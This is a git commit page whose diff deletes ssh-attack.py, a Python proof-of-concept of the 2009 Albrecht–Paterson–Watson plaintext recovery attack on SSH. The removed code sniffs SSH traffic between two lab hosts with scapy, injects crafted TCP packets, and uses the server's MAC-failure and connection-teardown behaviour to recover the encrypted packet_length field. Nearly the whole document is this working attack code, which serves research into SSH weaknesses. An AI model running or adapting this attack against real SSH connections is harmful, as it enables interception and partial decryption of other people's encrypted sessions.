diff options
author | Camil Staps | 2016-02-12 15:01:00 +0100 |
---|---|---|
committer | Camil Staps | 2016-02-12 15:01:00 +0100 |
commit | efd533331d6a7f0c51ef857af448a6c84c3084ed (patch) | |
tree | 7f28f4e20a215784f27643ad49029332204528b2 /SSH Attack Summary/ssh-attack.py | |
parent | Makefile (diff) |
Removed spaces in path
Diffstat (limited to 'SSH Attack Summary/ssh-attack.py')
-rw-r--r-- | SSH Attack Summary/ssh-attack.py | 267 |
1 files changed, 0 insertions, 267 deletions
diff --git a/SSH Attack Summary/ssh-attack.py b/SSH Attack Summary/ssh-attack.py deleted file mode 100644 index 22cac00..0000000 --- a/SSH Attack Summary/ssh-attack.py +++ /dev/null @@ -1,267 +0,0 @@ -#!/usr/bin/python -""" -Proof-of-concept implementation of [APW09]_ - -.. [APW09] Martin R. Albrecht, Kenneth G. Paterson and Gaven J. Watson - Plaintext Recovery Attacks Against SSH - IEEE Security & Privacy 2009. IEEE 2009. - -AUTHOR: Martin Albrecht <martinralbrecht@googlemail.com> -""" -import pdb -import pxssh -import thread -import scapy -import time -import sys -import commands - -from scapy.all import IP, TCP - -# -# Configuration -# - -iface='lxcbr0' # the interface we work on -bob='10.0.1.1' # the client -alice='10.0.1.30' # the server - -def sniff_ssh_conversation(port): - """ - Sniff the conversation between alice and bob and return the last - SSH request/response pair. - """ - packets = scapy.all.sniff(iface=iface, timeout=2, filter="tcp port %d"%port) - packets = [p[IP] for p in packets if len(p[TCP]) > 4*p[TCP].dataofs] - - an = 0 - for p in reversed(packets): - if p.src == bob and p.dst == alice: - req = p - an = req[TCP].ack - break - else: - raise IndexError("Request packet not found") - - for p in reversed(packets): - if p.src == alice and p.dst == bob and p[TCP].seq == an: - res = p - break - else: - raise IndexError("Response packet not found") - - return req, res - -def delayed(func): - """ - Execute func one second late. - """ - def wrapper(*args, **kwds): - time.sleep(1) - return func(*args, **kwds) - wrapper.__doc__ = func.__doc__ - return wrapper - -@delayed -def generate_ssh_traffic(s): - s.send("a") - -def got_invalid_packet_length(response): - """ - Return True if the packet list has a payload packet (i.e. it is - neither only an ACK nor a FIN). We then assume that the packet - contains an SSH error message which could either be a - packet_length failure or a MAC failure which we ignore. - """ - for (a,b) in response: - if len(b[TCP]) > b[TCP].dataofs*4: - return True - return False - -def has_blocksize_failure(response): - """ - Return True if packet list contains a FIN and no 'size failure' - packet. - """ - if got_invalid_packet_length(response): - return False - for (a,b) in response: - if (b[TCP].flags & 1): - return True - return False - -def is_wait_state(response): - """ - Return True if neither has_blocksize_failure nor - got_invalid_packet_length is True. - """ - return not got_invalid_packet_length(response) and not has_blocksize_failure(response) - -def get_port_number(): - """ - Get port number of current SSH session using 'netstat'. - """ - for line in commands.getoutput("netstat -tn").splitlines(): - if alice + ":22" in line and "ESTABLISHED" in line: - src = [e for e in line.split(' ') if e != ''][3] - return int(src.split(":")[1]) - -def ssh_attack(): - i = -1 - while True: - i+=1 - sys.stdout.flush() - - # 1. start a fresh SSH session - s = pxssh.pxssh() - s.login(alice, "alice", "alice") - port = get_port_number() - - # 2.1. generate some traffic - thread.start_new_thread(generate_ssh_traffic, (s,)) - - # 2.2. sniff data & inject - try: - a, b = sniff_ssh_conversation(port) - c = gen_packet(b) - result = scapy.all.sr(c, iface=iface, verbose=False, timeout=1, multi=True) - except IndexError: - s.send("\n") - s.logout() - s.close() - print "Crap, something went wrong." - continue - - # 3. check the response from the server - response = result[0] - - if got_invalid_packet_length(response): - # TODO: We ignore MAC Failures here. - print "%5d: packet_length < 1 + 4 || packet_length > 256 * 1024"%(i,) - continue - elif has_blocksize_failure(response): - print "%5d: need %% block_size != 0"%(i) - continue - elif is_wait_state(response): - print "%5d: buffer_len(&input) < need + maclen "%(i,), - for (a,b) in response: - if is_ack(b): - break - try: - return handle_wait_state(b, port) - except PacketLengthUnlikely: - continue - else: - raise RuntimeError("This case should never happen",response,s) - return s - -def gen_packet(p, size=16): - """ - Generate an SSH package which replies to p. - """ - a = IP() - a.src = p[IP].dst - a.dst = p[IP].src - - b = TCP() - b.sport = p[TCP].dport - b.dport = p[TCP].sport - - b.seq = p[TCP].ack - b.ack = p[TCP].seq + len(p[TCP]) - (p[TCP].dataofs*4) - - timestamp = p[TCP].options[2][1] - b.flags = 0x18 # PA - b.options = [('NOP', None), ('NOP', None), ('Timestamp', (timestamp[1]+100, timestamp[0]))] - b.payload = '0'*size - return a/b - -def is_ack(p): - return p[IP].proto == 6 and len(p[TCP]) == p[TCP].dataofs*4 and p[TCP].flags & 16 - -class PacketLengthUnlikely(Exception): - """ - Raised if the value in the packet length field is unlikely, - i.e. it is very small. - """ - pass - -class MACFailure(Exception): - """ - Raised if we see a MAC failure on the wire. - """ - pass - -last = None - -def wait_state_callback(pkt): - """ - Called on every packet on the wire. - """ - global last - - if is_ack(pkt) and pkt[TCP].seq == last[TCP].ack: - # We received an ACK for our last SSH request, so we send - # another one. However, the TCP stack (in the kernel) might - # send out ACKs before SSH got a chance to reply with an SSH - # connection teardown, since computing a MAC for a long - # message takes time. We have two strategies to deal with - # that: - - # Strategy 1: We send packets that are too small. So if we - # send to many we know how many were too much. To enable this, - # set the second parameter to something < 16. - - pkt = gen_packet(pkt,16) - last = pkt - - # Strategy 2: We slow ourselves down here. - #time.sleep(0.05) - - scapy.all.send(pkt, verbose=False) - return - - elif len(pkt[TCP]) > (pkt[TCP].dataofs*4): - # We received a payload and assume a MAC failure. - raise MACFailure(pkt) - else: - # Something wrong happened, this should never happen. - raise TypeError("Unknown response", pkt) - -def handle_wait_state(pkt, port): - """ - We send small packets until we receive a MAC failure. The sending - is done via a callback only the initial packet is sent in this - function. We keep track of the sent packets via the sequence - numbers of TCP. - """ - global last - - pkt = gen_packet(pkt) - last = pkt - first_seq = int(pkt[TCP].seq) - - thread.start_new_thread(delayed(scapy.all.send), (pkt,)) - - try: - scapy.all.sniff(iface=iface, filter="src host %s && tcp port %d"%(alice,port,), prn=wait_state_callback) - except MACFailure, pkt: - return calc_packet_length(pkt.message, first_seq) - -def calc_packet_length(pkt, first_seq): - """ - Given a MAC failure message and a first sequence number calculate - the correct number of bytes sent and thereby the value of the - packet_length field. - """ - packet_length = pkt[TCP].ack - first_seq - - packet_length -= packet_length % 16 - - packet_length += 16 # account bytes sent initially - - packet_length -= 4 # don't count the packet_length field itself - packet_length -= 16 # don't count the MAC - - return packet_length - |